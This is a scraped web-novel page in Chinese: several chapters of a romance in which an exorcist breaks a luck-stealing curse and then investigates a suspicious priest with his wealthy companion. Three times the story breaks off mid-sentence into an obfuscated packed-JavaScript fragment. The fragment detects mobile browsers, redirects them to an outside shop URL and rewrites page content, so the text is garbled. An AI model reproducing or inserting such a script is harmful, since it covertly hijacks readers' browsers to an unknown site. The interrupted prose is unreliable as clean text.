l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099175|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符纸上隐隐泛起一层金光,很淡,转瞬即逝。 陆叙盯着符纸看了几秒,满意地点了点头,然后把符纸放在桌上。 老郑立刻递过来一根桃木剑。 陆叙接过剑,走到许瑶身边,单手持剑,剑尖朝下,对准许瑶命宫。 “太乙救苦天尊,青玄九阳上帝,寻声赴感,普度众生……”他的声音低沉却有力,“今弟子陆叙,奉三清敕命,雷霆号令,为生人许瑶亡魂许怀,解厄消灾,断除冤业,拔罪超生。” “……” 话音落下的瞬间,陆叙抬手,把那张符纸点燃,丢进香炉。 火焰腾起,烟雾升腾。 许瑶突然全身抽搐,嘴里发出一声压抑的痛呼。 陆叙也似失力,整个人往前踉跄了一下。 陆修望吓了一跳,刚想上前,被老郑拦住。 “别过去。”老郑低声说,“会坏事。” 许瑶的身体弓成一团,脸上的青筋暴起,额头上大颗大颗的冷汗滚落,她张着嘴,像是想呼吸,但喉咙里只能发出嘶哑的喘息声。 陆叙没停下,举起桃木剑,在许瑶泥丸宫画了一个圈。 “……一切災厄、厌胜借命、咒诅巫蛊、鬼魅精邪,速速消散!” “冤亲债主,速离速散! 魂魄归元,命数返本! 急急如太乙救苦天尊律令!” 话音刚落,许瑶猛地喷出一口酸水,整个人像是被抽空了力气,瘫软在地上。 陆叙立刻蹲下身,端起那碗招魂水,对着许瑶的面门和心口洒了几下。 水珠落在许瑶脸上,她的眼皮颤了颤,缓缓睁开眼。 “陆……先生……”她的声音虚弱,像是用尽了全身的力气,“我刚刚看到有……” “别说话。”陆叙打断她,“还没结束。” 他走回法坛前拿起第二张符纸。 符头快速写上“太乙招魂返命”,符腹画太乙天尊手持招魂幡,符膽写上“魂归本体”“命数还元”“三魂七魄复合”,符尾画北斗七星接引光束。 画完,没有丝毫停顿,直接点燃丢进香炉。 “太乙救苦天尊敕!”他喝道,“寻声救苦,普度亡灵!三魂杳杳,七魄茫茫,随旛接引返家堂!” 陆叙双手合十,中指相抵,掐了一个陆修望看不懂的手诀。 “三魂杳杳,七魄茫茫……”陆叙继续重复着,“随旛接引返家堂!许瑶、许怀命数零落,速归本体!借运邪气,尽数返还!” 他的声音几乎沙哑:“魂魄归元,命光重聚!急急如律令!” 院子里突然刮起一阵风。 那风像是从四面八方涌来,带着一股冰冷刺骨的寒意,把院子里的烛火吹得摇摇欲灭。 老郑低下头,双手合十,嘴里念念有词。 许瑶一脸震惊,剧痛让她意识恍惚,但也就是这失神的时刻,她放佛看到一丝微弱的光被什么东西拉扯着,往她眉心汇聚。 许瑶的脸上浮现出一种痛苦的表情,嘴唇发紫,整个人像是快要窒息。 陆叙咬着牙,手上的手诀掐得更紧。 在场只有陆修望一脸茫然。 风越来越大,院子里的东西开始被吹得乱晃,也就在这时,许瑶突然睁大眼睛,嘴里发出一声尖叫。 不是痛苦的叫声。 是解脱。 下一秒,风停了,院子里恢复平静,烛火重新稳定下来。 许瑶的身体瘫软在地上,胸口剧烈起伏,大口大口地喘着气。 陆叙松开手,整个人晃了一下,差点站不稳。 陆修望快步上前扶住他:“你没事吧?” “没事。”陆叙摆摆手,声音却失了力气,“结束了,扶她起来吧。” 老郑把许瑶扶起来,许瑶脸色苍白,但眼神比之前清明了很多。 “感觉怎么样?”陆叙问。 许瑶喘了口气:“我……我刚刚看到了,好像有一团金光在我眼前晃动……” 老郑又对着法坛拜了拜,嘴里念念有词,这是天尊化身临世,帮助世人消灾解厄。 “那就对了。”陆叙松了口气,“厌胜已破,你被借走的命数回来了一部分,剩下的,得慢慢养。” 他转身走回法坛前,双手合十,对着香炉深深鞠了一躬。 “志心皈命礼,东方长乐界,东极青华大帝,太乙救苦天尊……”他声音有点虚,但却异常虔诚,“多谢天尊慈悲,解厄拔苦。弟子陆叙,叩谢。” 老郑走过来,拍了拍他的肩:“许瑶你不用担心,今晚我会亲自守在她门外,不会出任何差池。 陆叙郑重地冲他拜了拜:“多谢了,老郑。” 老郑连忙把他扶起来:“客气什么,你的事就是我的事。” 13. 第 13 章 陆修望把陆叙扶到车里,忍不住问:“你这体质是不是有问题,怎么每次都这样?” “你懂个屁。”陆叙强扯出一个不屑的笑,装得跟没事人似的,“破厌胜,得焚香上表、念咒请神,让天尊的威灵附坛场,借他的正气冲散阴煞,这种事得靠心神做桥,沟通天地,肯定会有损耗和反噬。” “这么帮她,值得吗?” “不是,你这人怎么老爱问值不值得?”陆叙无语地扫了他一眼,“我可以不帮她,就像我也可以不帮你。但我有强迫症,凡事都想知道个因果。” “我底子好,平日里帮你们这些蠢人做事还积了点德,这点损耗算什么?搁别人,早就折损阳寿趴地上起不来了,我呢?回去喝点药睡一觉就满血复活了。” 陆修望还想再说,陆叙打断他:“闭嘴,我现在累了,不想和你说话。” “……” 车子停在陆家老宅门口,陆修望扶着陆叙下车,这人额头上挂着细密的汗珠,整个人靠在他身上,情况看起来更严重了。 “还行吗?”陆修望问。 陆叙声音虚弱,但语气随意:“还死不了。” 陆修望看着他这副逞强的样子,忍不住半开玩笑地问:“这次还需要我抱你吗?” 陆叙冷哼:“当我的人形担架上瘾了是吧?” 陆修望没接话,轻笑一声直接弯腰,一手穿过陆叙的膝弯,一手环住他的背,把人打横抱了起来。 陆叙愣了一秒,忍不住开口抱怨:“操,你吓死我了!” “别动。”陆修望抱紧了他,大步往里走。 陆叙的声音带着点虚假的恼怒:“陆修望,我就知道你对我有什么图谋。” 陆修望脚步顿了一下。 “我告诉你啊,如果你趁着我身体虚弱行不轨之事……”语气里那点得意再也藏不住,“我过后肯定狠狠报复你。” 陆修望低头看了他一眼。 这人状态差成这样,但不知道出于什么目的,还有心情在这耍嘴皮子。 陆修望本能地想反驳,他哪有什么图谋,他只是同情心泛滥。 但话到嘴边,他突然说不出来。 因为他突然发现,陆叙说的好像也没毛病。 确实有点……不一样。 从什么时候开始的? 陆修望说不清楚。 “你说是就是吧。”陆修望最后只说了这么一句,语气带着点无奈,掩盖住自己的真实想法,只表现得像是不想和他计较。 看到陆修望吃瘪,陆叙满意地笑了一声,也没再说话,呼吸渐渐平稳下来。 陆修望抱着他穿过庭院,走进客房,房间里很暖和,他把人轻巧地放在床上,又简单地给他擦了一下脸,这人闭着眼,似乎睡了过去,脸颊陷入枕中,显得愈发瘦削。眉形凌厉,眉尾微微上挑,睫毛浓密卷翘,在眼睑下投出一小片颤动的阴影。鼻梁笔直,线条分明,那颗位于鼻梁侧面的小痣,在惨白的肤色衬托下格外扎眼,下颌线条锋利,唇形却饱满清晰,只是此刻毫无血色。 整张脸看起来很锐利,却又因为那过分精致的五官,透出一种脆弱的美感。 陆修望盯着他看了许久,喉咙发紧。 很像狐狸,且有种奇怪的熟悉感。 不是因为这段时间的相处。 是一种更深层的,说不清道不明的感觉,像是……他们很久很久以前就认识了。 陆修望甚至不由自主地开始想象上次那个梦境,白狐变成陆叙,带着他走进山里。 那些画面转瞬即逝,陆修望想抓住,却怎么也抓不住。 他揉了揉太阳穴,觉得陆叙可能给自己施了什么术法。 前世?缘分? 这种事他以前从来不信。 但此刻,看着床上这个人,他突然觉得,也许真的有。 他们上辈子一定有过什么,或者说一些别的什么缘分。 否则他不会在面对陆叙的时候,心情这么复杂。 想靠近,又不敢靠得太近,想关心,又不敢太明显。 陆修望深吸一口气,不敢再打扰他,转过身准备离开。 但就在他转身的瞬间,一只冰凉的手拉住了他的手指。 陆修望愣住,回过头。 陆叙闭着眼,手上没什么力气,但却紧紧抓着他不肯松开。 “你……”陆修望开口。 “你能睡我旁边吗?”陆叙的声音很轻,却重重砸到陆修望耳朵里。 陆修望的心脏猛地收缩:“我……” 他张了张嘴,不知道该说什么。 陆叙侧过脸,嘴唇微微动了动,有点不好意思:“太冷了,需要一点童子身上的阳火……” 陆修望假作关心,摸了摸他的脸颊:“没发烧,你先休息,我去洗漱。” 他走进卫生间冷静了好一会,才掀开被子,在陆叙旁边躺下。 两个人之间隔着一段距离,陆修望侧着身,看着陆叙的侧脸。 这人闭着眼,眉头依然紧皱,身体微微蜷缩,陆修望想,他看起来很冷。 犹豫了一下,他伸出手,想把被子往陆叙身上拉一拉。 但手刚碰到被子边缘,他突然鬼迷心窍地想,要不……抱住他? 这个念头一冒出来就无法控制,陆修望自己都吓了一跳。 他盯着陆叙看了几秒,最后还是撑起身体,一只手撑在陆叙旁边,两人距离很近,陆修望能清楚地听到他微弱的呼吸声。 也就在这时,陆叙突然睁开了眼。 那双眼睛里满是疲惫和疑惑,陆修望的心脏又狠狠跳了一下。 “你又要干嘛?” “我……”陆修望顿了顿,装作若无其事地打量着陆叙的脸:“你嘴唇很白,还在发抖,感觉你很冷。” 他停了一下,低声问:“需要我抱着你睡吗?” 陆叙盯着他看了几秒,没说话。 陆修望以为他要拒绝,刚想收回手,陆叙突然翻了个身,整个人往他怀里靠,脸贴在他胸口,手抓着他的衣服下摆。 “你还挺有当老公的自觉……”陆叙声音闷在他胸口,含糊不清,“那就抱着吧,反正你阳气重,我也不会影响你。” 陆修望愣了一秒,没听懂他什么意思,只是嘴角情不自禁扯出一个愉悦的笑容。 他抬起手环住陆叙的身体,把人紧紧抱在怀里。 陆叙的身体很冷,像一块冰,寒意顺着接触的地方传来,可奇怪的是,陆修望却感觉一股灼热从心口蔓延开,让他的心跳不自觉地加速。 他想起陆叙挑衅他时对他做出的评价,重欲、偏激、暴躁。 陆叙说自己看人从来不会看错,陆修望最开始对这个说法很怀疑,因为前二十年他从未遇到过什么让自己想要占有的东西,无论是人、物,还是钱,在他眼里都不过如此,对什么都提不起兴趣,什么都无所谓,对什么都产生不了欲望。 直到现在。 陆修望垂眸看 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许瑶犹豫了一下:“那你呢,我一个人,怕把事情搞砸。” “我会陪你一起,但得找个借口。” “什么借口?” 陆叙想了想:“就说我是你男朋友,回去参加你哥葬礼。” 许瑶脸一红:“啊?” “怎么,不行?”陆叙挑了挑眉。 “也、也不是不行……”许瑶移开视线小声说,“就是有点突然。” 正说着,门被推开,陆修望走了进来,头发还有点湿,看起来是刚洗完澡。 “你们讨论什么呢?”陆修望走过来坐下。 “在想怎么去许瑶家查情况。”陆叙说。 陆修望看了他一眼,又看了看许瑶,陆叙继续吃饭,陆修望也不说话,就这么盯着他看,陆叙被他看得有点烦,忍不住问:“你看什么?” “我也去。”陆修望说。 陆叙愣了一下:“这事与你无关,你去干嘛?” “闲着。”陆修望靠在椅背上,“而且这事我也牵扯进来了,你处理这事的时候我全程在场,也算是沾了因果。” 陆叙皱起眉,盯着他看了几秒,他不知道陆修望在乱说什么,陆修望充其量就是个人形护身符,哪来的什么因果? 但陆修望那表情,明显是打定主意要跟着去。 陆叙也懒得和他争,反正有个这种大少爷跟着,处理事情会方便很多,对他来说也是好事。 “行吧,那你也去。” 他看向许瑶:“我是你男朋友,担心你的身体,所以送你回家,记住,别露馅。” 许瑶点点头。 陆修望闻言立刻皱眉:“那我呢?” 陆叙转头看他,上下打量了一番:“你不是我老公吗?” 陆修望:“……” 陆叙冷笑一声:“怎么,你也想当她男朋友?” 陆修望咬了咬牙,心说你还知道我是你老公? “给我安排个角色。”他说。 陆叙手指在桌上敲了敲:“那你当我保镖吧,我是许瑶的暴发户男友,你就是我雇的保镖。” 陆修望的脸色更难看了。 陆叙看他表情不太好只说:“去不去随你,总不可能让我当你保镖吧?”他补充,“你怎么看也不是需要人保护的,而且我这么儒雅随和,我当保镖不合理。” 陆修望深吸一口气,最终还是点了点头:“行。” 14. 第 14 章 安排完任务,三人换了身行头。 陆修望让人准备了一身廉价的黑色休闲西装,墨镜遮住那张过分英俊的脸,整个人气质看起来可靠又冷峻,除了太年轻,确实有几分保镖的架势。 陆叙和他借了几条真货奢侈品配饰,虽然也是一身黑,但穿得很有搭配感,宽松的黑色衬衫敞开两个扣子,链子在领口若隐若现,头发被他故意抓得蓬松凌乱,配上那张本就有点玩世不恭的脸,说是四处招摇的二世祖也确实说得过去。 他对着镜子左看右看,越看越觉得好玩。 “配合一下。”他凑近陆修望,把手机举了起来。 陆修望皱着眉,显然很不适应镜头:“乱拍什么啊?” “当保镖就得有保镖的样子。”陆叙板起脸,虚踢了他一脚,“老板的命令都不听了吗?” 嘴上这么说着,人已经搂住陆修望的肩,随意拍了几张:“诶,还挺像那么回事。” 他翻看照片,又觉得不够满意,拉着陆修望换了好几个角度,陆修望一脸无奈地配合他,最后实在忍不住了:“你不是要做正事吗?” “这也是正事,你没工作过你不懂,工作得留痕。”陆叙干脆靠在陆修望怀里,摆出一副被保护的姿势,这次手机怼得很近,陆修望瞥见镜头里陆叙满是笑意的脸,愣了愣神。 等陆叙胡闹完,陆修望终于忍不住开口:“发来。” “什么?” “工作照,发来我检查一下,我怕你偷偷拍我丑照。” “你把我当什么人了?”陆叙冷哼一声,还是把照片发了过去,不忘叮嘱他,“别往社交平台发,影响我专业的形象。” “你还有专业形象?” “停停停,你这话什么意思?”听他这话,陆叙不乐意了,推了他一把,“信不信我现在就开除你?” 陆修望刚抓住他作乱的手腕,门口就传来脚步声。 许瑶换了一身黑色的休闲服,站在门口等他们,整个人看起来憔悴又虚弱,想到后续回家以后要面对的一切,她的眼睛渐渐泛红,那种真实的悲伤和无助无法遮掩。 陆叙看见她,刚才还嬉皮笑脸的表情瞬间收敛。他走过去,抬手在她肩上轻轻拍了两下:“走吧。” 声音很轻,却带着点安抚的意味,许瑶习惯性想拉住他的手臂,看到旁边站着的满脸阴沉的陆修望,又讪讪地松开了。 陆修望车开得飞快,陆叙坐在副驾驶,打量着车内配饰,忍不住问:“让你找一辆低调点的,你这是干什么?” “这就是最差的。”陆修望瞥了他一眼,又补充,“平时就家里保镖开。” “最差的……保镖开的……”陆叙叹息,“我真想和你们这些有钱人爆了。” “老公的就是你的,你生什么气。”陆修望随口安抚。 陆叙被噎了一下,转过头不说话了。 临近傍晚,陆修望把车停在许瑶家院子里,许瑶母亲已经等在门口,她看起来不过四十,保养得很好,但憔悴得很明显,看见许瑶的瞬间,眼泪夺眶而出。 “瑶瑶……”许母哽咽着把女儿抱进怀里,许瑶身体僵了一下,但还是抱住了母亲。 许父也从屋里走出来,头发梳得整齐,但脸上满是疲惫,眼睛里布满血丝。 “瑶瑶,你怎么出院了?”许父皱起眉,看起来很严肃,“身体还没好……” “我没事了,爸。”许瑶打断他,声音有点发紧。 她转身,指了指陆叙:“这是我男朋友,他不太放心我出院,就跟着我过来看看。” 陆叙往前走了一步,礼貌地点了点头,顺势递上陆修望家里招待客人的果篮:“叔叔阿姨好,我姓陆,是瑶瑶的男朋友,我们交往快一年了。” 许父看了他一眼,又看了看他身后一脸严肃的陆修望,皱起眉:“这位是……” “他啊,我保镖。”陆叙看了陆修望一眼,随口说。 许父愣了一下,眼里闪过一丝怀疑。许瑶接过话头,指了指停在院子里的车:“他刚拿驾照,家里人不放心他开车,找了个人送我们回来。” 许父看见那辆黑色轿车,虽然低调,但也能看出价格不菲,心里略一思索,这小子大概是个家里过度保护的暴发户少爷,看起来也没什么坏心思,表情这才缓和了一些,侧身让他们进了屋。 屋里装修得很精致,到处都摆着白色的菊花,很专业的布置,墙上挂着一张黑白照片,是个二十多岁的年轻男人,笑得很阳光,也没什么大问题。 陆叙微微松了口气,那个人没胆子在他们家里的灵堂动手脚。 看到照片,许瑶再也绷不住,放声大哭了起来,许母坐在她旁边,紧紧抱着她,但陆叙注意到,许瑶的表情有些僵硬,很显然对父母已经心存芥蒂。 等她情绪稍微平复了一些,陆叙作出关切的样子,走到许瑶面前蹲下,捧住她的脸给她擦了擦眼泪,又轻声示意她:“看遗体。” 许瑶怔了一下,很快回过神,抹了抹眼泪,轻声问:“哥哥现在……在哪儿?” 许母又哽咽起来:“在殡仪馆……还没到日子,还不能入土为安……” 许瑶握住母亲的手:“我想去看看哥哥。” “你身体……”许母说。 “没事,妈。”许瑶声音悲切,“我想见哥哥最后一面。” 许父沉默了一会,最终还是点了点头。 到了殡仪馆,工作人员带着一行人进了里间,许瑶走上前,颤抖着掀开白布,她伸手轻轻摸了摸哥哥的脸,哭得说不出话来。 陆叙站在旁边盯着那具尸体看,眉头紧紧皱着,眼里闪过一丝凝重。 陆修望注意到他的表情,不经意走到许父身边,掏出烟盒递过去:“叔叔,外面抽根烟?” 把许父支走,陆叙这才走上前,仔细观察着尸体的脸,又看了看脖子和手腕。 “陆先生……”许瑶小声问,“我哥哥他……” 陆叙没接话,快速将一个太乙守魄符塞到许怀袖子里,然后用手指轻点许怀天目、魄门、下魄,各点一下,借雷力震慑外力牵引。 “回去再说。” 许父等在门外,看到陆叙扶着情绪低落的许瑶出来,也没多想,交代了工作人员几句,带着三人回了家。 吃完饭已经临近十点,许瑶回房休息,许父把二人安排到了附近的酒店。 酒店是许父挑的,档次不错,陆修望站在房间里环顾一圈,还是忍不住皱起眉,这种环境对他来说确实算不上舒适,翻来覆去躺了一会,实在睡不着,干脆坐起来掏出手机。 陆叙今天发给他的照片还没来得及细看,他一张张翻过去,看着陆叙嬉皮笑脸的模样,心情也好了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099177|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。 最后一张是陆叙靠在他怀里,正脸怼着镜头,眉眼弯弯,整个人松弛又慵懒。而他自己,脸偏向一边,眼神不耐烦,嘴角却微微扬起。 陆修望盯着看了很久,手指在屏幕上划了几下,把照片放上了主屏幕。 也就在这时,屏幕上跳出来一条特别关注的新消息。 陆修望点开,陆叙的声音从听筒里传出来,对方明显憋着笑,声音非常刻意: “老公,我睡不着,有点害怕,你过来陪我。” 他点开又听了一遍,甚至能想象这个人脸上那副恶作剧得逞的表情,心里涌起一阵无奈,又有点说不出的甜蜜,最后还是站起来,套上外套出了门。 房间就在隔壁,门很快开了,陆叙换了身印着小狗图案的睡衣,头发有点乱,脸上挂着促狭的笑,陆修望感觉自己心脏跳得更快了。 “来得挺快啊。”陆叙靠在门框上,伸手拍了拍他的脸,“就这么担心我?” 陆修望笑了一声,抓住他的手,把他按在墙上,伸手帮他整理了一下头发,看对方一副顺从的样子,他刚要开口,余光瞥见坐在沙发上的许瑶。 “……” 场面有点尴尬,陆修望找了个椅子坐下,装作无事发生般开口:“今天下午,你们发现了什么?” 陆叙看了一眼许瑶,叹息一声,还是开口了:“你哥本来的运势里,今年确实流年不利,但大概率就是生一场大病,或者破一大笔财,这种劫,本来是有回旋余地的。” 许瑶惨笑一声:“是我父母害了他。” “对,因为那个人的邪术,算是直接掐断了他的护身气运线。”陆叙的声音很冷,“这就等于把一道小坎,强行升格成了天堑。命理上讲,这叫破势、夺机,已经不属于正常的因果流转了。” “更关键的一点,他是意外离世的,这是被外力强行造成的不应死之劫,正常寿数未尽、又不是自己业力招致的横死,也不是被施术人直接害死,鬼差是不能随意勾魂的。” 陆修望问:“不应死?是说他本不该死?” “不应死而死,魂魄荡散,道家度亡大本里,把这种间接被厌胜巫蛊之术害死的人归类于三十六伤亡、十八恶死,这类人死后形魂零乱不能聚,阴司死亡处理流程不能正常启动,魂魄下去之后没有暂存点,鬼差就不能按正常流程接引。” 许瑶焦急地问:“那现在怎么办?” “必须要牒天医 ,请全形诸司官将,全形昇度。”陆叙补充,“但在此之前,得尽快把那个邪修揪出来,他已经坐不住了。” “你哥神魂离体还没到七天,但散得异常迅速。”陆叙表情凝重,“我解了厌胜之后,他肯定受到了反噬,现在可能是怕夜长梦多,怕事情彻底圆不回来,粗暴地加速了收魂镇魂,连掩盖的后手都来不及做得太细。” 他指了指手机上的日期:“好在还没到十五,头七也未满,还有操作空间。” 陆修望盯着他:“要不我直接让人去查,更省事。” 陆叙看向许瑶:“这是你的家事,你怎么看?” 许瑶起身,冲两人鞠了一躬,又看向陆修望:“我现在就去和我父母沟通,如果不行,就麻烦你了,陆……陆先生。” 陆叙叮嘱她:“你机灵点,话别说太直,我怕你父母听不进劝,反倒把你自己搭进去。” 15. 第 15 章 许瑶离开后,房间里安静下来,陆修望走到陆叙旁边坐下,看他一副思索的样子,也没开口说话。 直到陆叙长叹一口气,陆修望才开口询问:“很棘手?” “倒不是棘手,”陆叙整个人瘫倒在沙发上:“就是麻烦。” “找到那个邪修,然后破阵,把许怀的魂魄拼凑完整,最后超度。”陆叙语气平淡,却带着点惆怅:“技术上来讲,不难。” 陆修望思考片刻,开始出馊主意:“我找人查一查,然后神不知鬼不觉把那人解决了不就行了,你还让许瑶回来这一趟干嘛?” 陆叙无语地撇了陆修望一眼,见陆修望越说越离谱,又把话头接了回来:“问题就在许瑶本人。” 陆叙顿了顿:“我让她去沟通,也是想让她弄清楚,她父母究竟是被人蒙蔽,以为只是借点多余的运势给儿子,还是本来就……” 本来就知道代价。 他没把话说完,但陆修望听懂了。 “我觉得他们本来就没把女儿看得和儿子一样重要。” “嗯。”陆叙点点头,“如果只是无知,那还有挽回的可能。但如果是后者……许瑶就得自己做选择了。” “这小姑娘没经历过什么挫折,但这些事,终归得她自己面对,我不能什么都帮她。”陆叙有点无奈,“她和父母的关系,她哥哥的死,这些都是她们家的因果报应,我不好插手,我能做的,就是把该做的做完,然后给她留点可选择的余地。” 陆修望侧头看向陆叙:“你老是瞎操心干嘛?” 陆叙把脸转向另一边,语气不屑:“哪有瞎操心,我说了,我有强迫症,拿人钱就得把事做好。” 陆修望没说话,这人明明就是在担心许瑶。 虽然看起来吊儿郎当,嘴上从来不饶人,不高兴就得怼他和许瑶几句,恨不得把所有客户都气死,但实际上,他比谁都细心,比谁都爱操心。 一个死人的魂魄,许家人看不见摸不着,陆叙大可以随口糊弄几句就了结这件事,反正也没人能验证真假。收了钱,转身就走,谁也怪不到他头上。 但他没有。 他不仅帮驱鬼,解厌胜,现在还要帮她找邪修,超度亡魂,顾虑她的感受,担心她和父母之间的关系,甚至连她性子太软,会不会受委屈都想到了。 这些细腻和温柔,都藏在他那副轻佻的外表下,不仔细相处根本发现不了。 陆修望的视线情不自禁落在他身上,看着他微微皱起的眉头,还有那双平日灵动、此刻却略带无奈的眼睛,心里涌起一种说不清的感觉。 有点奇怪。 以前从来没有过,说不清是什么,只是觉得心里软软的,像是有什么东西在慢慢融化。 陆修望愣了一下,然后笑了。 ……原来是这样。 陆叙却突然开口:“那你呢,你今天和她爸抽烟,套到什么话没?” “我不是保镖吗?还要兼职侦探?” 陆叙连连摇头:“孺子不可教也,给你表现的机会你也不中用啊。” 看他那副样子,陆修望忍不住笑了,陆叙看过来,他又收敛起脸上的笑意:“说正经的,许瑶那边估计不行。” “嗯?” “下午和他爸简单聊了两句,那人死板又自负,认定了的事不会轻易改口。”陆修望回忆着,“她妈那性子估计也拿不定主意,很容易被人吹耳边风。” 陆叙沉思片刻:“你说得有几分道理,那就等许瑶消息再做下一步打算吧。” 今天这一趟收获还算不错,陆叙开口送客:“行了,情报交接完毕,你先回去休息,有消息我再叫你。” 闻言,陆修望反而换了个更舒服的姿势,双腿交叠靠进沙发,姿态悠闲,根本没有要走的意思。 陆叙端起水杯,挑了挑眉:“陆少爷,大半夜的,孤男寡男共处一室算怎么回事?” “不是你让我过来陪你的吗?”陆修望偏着头看他,嘴角带笑,“老婆。” 陆叙手上动作顿了一下,心里盘算该怎么把这场子找回来,面上神态如常:“叫你这处男一声老公你还挺得意?” “挺受用。”陆修望点头,“以前从来没人这么叫过我,我听着心里很舒服。” “……”陆叙无语,这人刚开始认识的时候不是端着就是死装,随便逗一下激动得要死,没想到熟了以后这么不要脸。 陆修望话锋一转,又把问题抛了过来:“那你呢?” 陆叙瞪他:“我什么我?” 陆修望看着他,嘴角笑意更深:“老婆,你刚才端水的时候,手抖了一下。” 陆叙差点被自己的口水呛到,一种搬起石头砸自己脚的感觉油然而生,他猛地咳了两声:“你给我闭嘴……” 陆修望一脸无辜,拍了拍陆叙的后背:“你没事吧?” 陆叙深吸一口气,心里把陆修望骂了一百遍,但此刻还真拿这小子没什么办法,他干脆换了个姿势,整个人窝在沙发里:“我累了,你爱待哪儿待哪儿,爱干嘛干嘛,别再来烦我。” “那我待你旁边,咋夫妻俩培养一下感情。” 两人靠得很近,陆叙皱了皱鼻子,陆修望衣物上那股淡淡的金钱的清香传到鼻子里,让陆叙悲从中来。 陆叙往旁边挪了挪:“你离我远点。” “为什么?” “热。” “现在是冬天,空调也不过23度。”陆修望提醒他。 “那就是你太臭了。”陆叙换了个理由,资本家的恶臭。 陆修望笑了一下,没说话,只是专注地看着他。 气氛诡异,陆叙被他看得有点不自在,抓起毯子盖住脑袋,声音闷闷的:“你看我干嘛?” 陆修望声音轻下来:“第一次见面,你盯着我看了三分钟,我现在只是看回来而已。” 陆叙在心里骂了自己一句,没事惹他干嘛,然后装作若无其事地说:“我给你看面相,那是给你脸了,你也配和我比?” “嗯,我早就知道你厉害了。”陆修望应了一声,声音听着像哄人,“以后你多教教我呗。” 陆叙感觉自己耳根莫名其妙有点烫,清了清嗓子,正要说点什么挽回颜面,手机突然震了几下。 拿起来一看,是许瑶发来的消息。 “陆先生,我按你说的,告诉他们我哥托梦让我救他,但他们不信,还让我别和不三不四的人混在一起。” “操,谁不三不四?” 陆修望凑过来看了一眼,忍不住笑了。 陆叙踢了他一脚,但很快又严肃起来,遮住屏幕继续给许瑶发消息:“你和他们多沟通多套话,搜集证据,稳住别露馅,我让我孙子派人去查。” “你孙子?” 陆叙没正面回答,只问:“那个风铃谁送你的?你之前说的亲戚,具体是谁?” 许瑶很快回复了:“是我亲姑姑,她说是自己亲手做的。” 陆叙抬头看向陆修望:“让你的人去查,从她姑妈那边查可能会更快一点。” 陆修望很快安排下去,陆叙也拿起手机打给老张,老张是这边搞法器的,和老郑一样,也算合作关系。 刚刚许瑶偷偷跑来,心神不宁,陆叙没办法,给她起了一卦,卦象倒是不错,元神发动生用,忌神休囚受制,化进化生,不见回头克、不见化绝,又无冲刑破害成局。 这次行事该是顺遂无阻,十拿九稳的,但并不代表可以掉以轻心,特别是面对这种阴邪之人,该准备的护身符和法器一样不能少。 挂了电话,陆叙把手机扔在一边,整个人往床上一躺:“累死了。” “你先睡会儿吧。”陆修望说,“查详细资料也要时间。” “也是。”陆叙裹上毯子闭上眼睛,房间里彻底安静下来。 陆修望坐在床边,处理了几封邮件,又打了个电话确认了一些事情。回过头,陆叙已经睡着了。 这人睡着的时候倒是安分,没了平时那副欠揍的样子,陆修望盯着他看了一会儿,莫名觉得有点好笑。犹豫了一下,陆修望伸手轻轻碰了碰他的头发。 手机震了一下,初步信息已经有了,内容不多,他翻了翻,没叫醒陆叙,又等了一会儿,更详细的资料才陆续发过来。 看完之后,陆修望皱起眉,确实有一个可疑人物。 正想着,门外传来敲门声。 陆叙立刻睁开眼,翻身坐起来。 “你醒了?”陆修望有点意外。 “我本来就没睡着。”陆叙起身去开门,“我睡觉很警觉的,有点动静就醒,你最好别偷偷做坏事。” 陆修望:“……” 刚刚他摸陆叙头发的时候,还顺带捏了捏他的鼻子,这人完全没反应,还好意思说自己是醒着? 门外是老张的徒弟,大半夜来给师父跑腿,陆叙给人小孩转了个大红包,才接过送来的东西。 见陆修望走过去,又问他:“你那边怎么样?” “刚发过来的。”陆修望把手机递给他,“你看看。” 陆修望补充:“我大概看了一下,许瑶她爸和她姑姑为了她哥的事,前前后后找过不少人。” “大部分都是正经人,要么是有名的大师,要么是有证的风水师,要么就是村里那种帮人看日子算命的老头老太太,都没什么问题。“陆修望顿了顿,“但有一个人很可疑。” 陆叙立刻来了精神:“谁?” 陆修望把资料调出来,这个道士俗名杨金水,自称清和,五十三岁,十年前突然出现在安市郊外的青龙山,据说来自闾山宗,在山上破观住了几年,起初只是偶尔给附近村民看看风水,指点一下吉凶,口碑还不错,三年前,他突然有了钱,在原址附近修了座新道观,取名青龙观。 从那之后,来找他的人越来越多,大多是求平安、问前程之类的小事,但也有人说,清和很擅长处理疑难杂症,特别是那些久病不愈、诸事不顺的,找他看过之后都有起色。 资料里提到,清和虽然对外称自己是闾山弟子,但没人知道他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099178|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师父是谁,附近几个正经道观的道长都不认识他,正经闾山一脉也没这么一个人记录在册。 陆叙把资料翻到最后,那里附了一张照片,照片里是个五十多岁的中年男人,面容和善,笑容亲切,穿着洗得发白的道袍,站在一座看起来很新的道观门口。 陆修望说:“观建成也就三年,但这人发家致富应该在这之前,许瑶姑姑之前身体不太好,也是找他看的,说是很灵验,所以就推荐给了她哥。” 陆叙眯起眼,手指在照片上滑动,放大看那人的面相。 